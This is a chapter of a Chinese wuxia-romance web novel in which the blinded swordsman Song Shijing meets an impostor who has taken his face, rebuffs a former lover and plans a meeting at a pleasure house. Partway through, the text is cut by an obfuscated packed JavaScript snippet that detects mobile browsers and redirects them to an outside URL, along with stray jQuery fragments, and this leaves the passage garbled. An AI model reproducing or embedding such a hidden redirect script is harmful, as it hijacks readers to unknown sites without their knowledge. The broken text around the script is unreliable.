28.梦断

作品:《醉里挑灯看美人

    花荣在外面看得分明,他看了眼宋时镜的脸,那张普通的脸已经卸掉,如今展现在人前的,是他本来的面貌。


    正主遇上了冒牌货,当真是有趣至极。


    花荣很快传音入耳对宋时镜说:“这个采花大盗易容成了你的脸。”


    “二郎啊,你说,他要是用你的脸真对白小姐做了什么,你说你,还能洗清嫌疑吗?”


    宋时镜眉头几跳,他紧咬着下唇,对此深恶痛绝。


    这人千不该,万不该,不该用自己的脸来见白玉拂。


    宋时镜深吸一口气,努力平复着自己的情绪,他听着里面的动静渐渐变轻,直到再也听不见白玉拂的声音,他的心攸地提了起来。


    里面发生了什么?莫不是那个采花大盗将人给迷晕了准备下手?


    宋时镜不敢再迟疑,直接破开了窗户,翻身进了内室。


    这动静很快惊扰到了院内守卫,他们很快赶了过来,聚集在门口,请示白玉拂:“小姐,你没事吧?”


    白玉拂此时就坐在桌案旁,她听见动静,目光却直愣愣的看着突然闯入的宋时镜。


    “没,没事,你们退下吧,今夜无论听见什么动静,都装作没听见。”


    守卫们相互对视,都从对方眼里看出了惊慌。


    “小姐!可是那采花大盗来了!您放心,我们一定会帮您将他抓起来,送去官府的。”


    他们说着,就要破门而入。


    熟料白玉拂一改平日里温柔淑莞,平易待人的性子,厉声呵斥他们:“我说的话,你们都不听了吗!”


    守卫们顿时不敢再往前一步了。


    等人终于走了,白玉拂的目光才又落到宋时镜身上。


    她痴痴的看着眼前这个她想了八年的男人。


    待看见他缠着纱布的眼睛时,美眸一窒,瞬间泪眼婆娑。


    她几乎是下意识从桌案后起身,踱步走向宋时镜,同时伸出手来,颤抖着想要轻轻触碰一下他的眼睛。


    “二郎,你的眼睛怎么了?”


    宋时镜不自觉后退一步,耳尖微动,感受到内室里还有第三人的气息。


    但对白玉拂,他始终狠不下心肠来,心一软,无奈道:“阿拂,好久不见。”


    “他果真没有骗我,他说过会让我见到你,你真就来找我了。”


    白玉拂口中喃喃着,对于宋时镜的逃避恍若未觉,她说着,就要靠近他。


    宋时镜却避她如蛇蝎,心思全在那采花大盗身上,对白玉拂的话置若罔闻。


    “出来吧!你不是要找我吗?怎么我人已经在这儿了,你却做起了缩头乌龟。”


    男人挑挑眉,他本坐在榻边,漫不经心的看着旧情人叙旧,听得宋时镜叫他,他懒洋洋的伸了个懒腰,依旧斜靠在床头。


    “那就先报个名号给你听听。”


    “在下孟子尧。”


    他说着,上上下下打量了宋时镜一番,随即满含好奇道:“你便是十二年前,年仅十四岁,就自创了飞花剑法的段二公子段镜。”


    “幸会之至。”


    宋时镜没有听过孟子尧的名号,他沉着脸,冷声道:“你引我来见你,是为何?”


    “我们有相同的目的,我猜,你现在在找程珂吧?很凑巧,我知道他的下落。”


    孟子尧说着,翻身自榻上下来,然后踱步走向宋时镜。


    “你究竟是何人?”


    宋时镜心生警惕,他听见动静,垂在身侧的手已暗暗运功。


    “你不必管我是谁。”


    “这里不便说话,明日戌时,咱们春庭阁再会。”


    孟子尧说罢,轻笑一声,施展轻功离开了。


    宋时镜本想让花荣将人拦下来的,但这里是白府,行事多有不便,左右只有一日,明晚便明晚。


    他正待离去,衣袖却被人拽住,宋时镜才恍然想起,这是白玉拂的闺房。


    幸好,他如今看不见,不然当真会污人清白。


    他回身,抬手抽回自己被拽住的衣袖,对白玉拂作了一辑,客气疏离道:“白姑娘,请自重。”


    摇曳的烛火明明灭灭,映衬着他那张隽逸的脸,温润如玉。


    白玉拂一瞬不瞬的盯着他的脸看,见他克己守礼,一脸疏离的模样,心不由绞痛。


    “你果真是在怪我。”


    宋时镜轻叹一声,尽管看不见,他也清楚的明白,白玉拂此时的神情反应。


    只是,当年之事,又何论谁对谁错。


    宋时镜无奈抬首,道:“何必执着,你该往前看。”


    白玉拂近乎哽咽:“可我不甘心。”


    她神态激动,眼含热泪,看着楚楚可怜。


    在白玉拂即将触碰到宋时镜的衣角时,被他不动声色的侧开了身。


    “白姑娘,男女有别,还望珍重。”


    说罢,他抽身准备离开。


    见他要走,白玉拂美眸一怔,泫然欲泣的看着宋时镜离去的背影,终是忍不住失声痛哭。


    “淮允!你别走。”


    宋时镜背脊僵了一瞬,他没有再回头,就像当年一样,毅然决然踏入黑夜之中,彻底消失在了白玉拂的世界里。


    他们,本就不是同路人。


    又何苦庸人自扰。


    回去的路上,花荣想起白玉拂痴情的墨阳,不禁调侃他:“你怎么不同白小姐再续前缘了。”


    宋时镜知道他是在打趣自己,闻言也只是苦笑一声。


    清风吹拂在面上,带来丝丝凉意,冲散了夏末的暑意,宋时镜不免怅然若失。


    他突然驻足,偏头问花荣:“若你有一心爱之人,会愿意为了他,放弃一切吗?”


    花荣几乎没有犹豫,神色认真,他不自觉看向宋时镜,沉沉道:“那要看是谁了。”


    “若那人是心头所爱,为他付出所有也是值得。”


    宋时镜却是自嘲的笑笑:“所以,我注定与你们不同。”


    “我做不到放弃一切,也割舍不掉所有,这世上多数人都是如此,不过自私为己罢了。”


    “是吗?”


    “怎么我瞧着,你对所有事都提不起兴趣,更何论情爱这等虚无缥缈的东西。”


    “还是说,你真对那白姑娘念念不忘。”


    宋时镜没有吭声,继续迈步往回走。


    有多久,没有像现在这般惬意的走在熟悉的街头,身边有人作陪,不用去想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870357|156681||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那些恩怨情仇,这样其实也挺好的。


    许是一直等不来宋时镜的回应,花荣快走两步追上他,见他面上带着浅淡的笑意,不由心头一怔。


    “你在想什么?”


    宋时镜闻声看去,淡淡说了一句:“现在这样,真好。”


    花荣起初不太能明白的宋时镜的意思,待他后知后觉反应过来时,宋时镜已经将他甩了老远。


    他心情十分激动,在心里疯狂呐喊。


    “你是当我这个朋友了吗?”


    宋时镜只觉好笑,为什么他第一次觉得花荣如此幼稚。


    他板起脸色来:“你都替我挡剑了,我交你这个朋友又何妨。”


    “真的,只是因为我替你挡剑吗?”


    花荣对此耿耿于怀。


    宋时镜挑眉:“并不止如此。”


    花荣瞬间雀跃:“当真?”


    宋时镜好笑的点了点头:“言归正传,明晚春亭阁会面一事,还需要你帮个忙。”


    花荣:“却之不恭,想让我怎么帮你?”


    宋时镜:“你不是花悦楼的花魁吗?明日你混进那些姑娘里,见机行事便是。”


    花荣嘴角一抽,笑容逐渐僵硬,他不可置信的看着宋时镜笑意吟吟的脸,咬牙道:“你的意思是,让我出卖色相。”


    宋时镜挑了挑眉:“出卖色相倒不至于。”


    花荣忍了又忍,最后还是无奈的妥协了。


    “只要你想,我可以一直扮作女子的。”


    宋时镜:“倒也不是不可以。”


    毕竟姑娘家总归赏心悦目些。


    花荣忙打住他的想法:“别别别,我开玩笑的。”


    为了知道程珂的下落,宋时镜第二日不得不赴约前去。


    春亭阁是瞿溪最有名的花楼,他少时经常从好友的嘴里说起过春亭阁,只是一直未曾去过。


    如今得了机会来此,竟会是在八年之后了。


    春亭阁同花悦楼不同,这里的风尘女子大抵都是迫于生活来此,还有很多是被拐卖来的,在她们眼里,缺少了对世俗的欲念,眼中早已没了期许,有的只是麻木。


    她们每日都强颜欢笑,迎来一个又一个恩客,有很多卖艺不卖身的姑娘,最后总有各种原因,被人赎了身接回府,可到底幸不幸福,就不了了之了。


    宋时镜今日并没有易容,此番回瞿溪,他还是第一次将段镜的脸暴露于人前。


    既然那背后之人,已经盯上了自己,也知道自己回来了,他易容与否,都没有分别,还能暂时甩开肖宇的追捕。


    他一袭月牙白长衫,眼覆白纱,面如冠玉,静立在春亭阁一楼正厅前,宛若一副优美的画卷,吸引了无数道炽热的目光。


    “那是谁家的儿郎,看着好生俊俏。”


    “以前好像没见过。”


    “不过我怎么感觉,这公子好似在哪见过,很是眼熟。”


    “那不是段家二公子吗?”


    有人认出了他,忙推了推身侧的好友。


    那人闻声往楼下看去,便见着长身玉立的宋时镜,还是熟悉的那张脸,岁月似乎并未在他脸上刻下痕迹。


    “段淮允,竟真的是他!”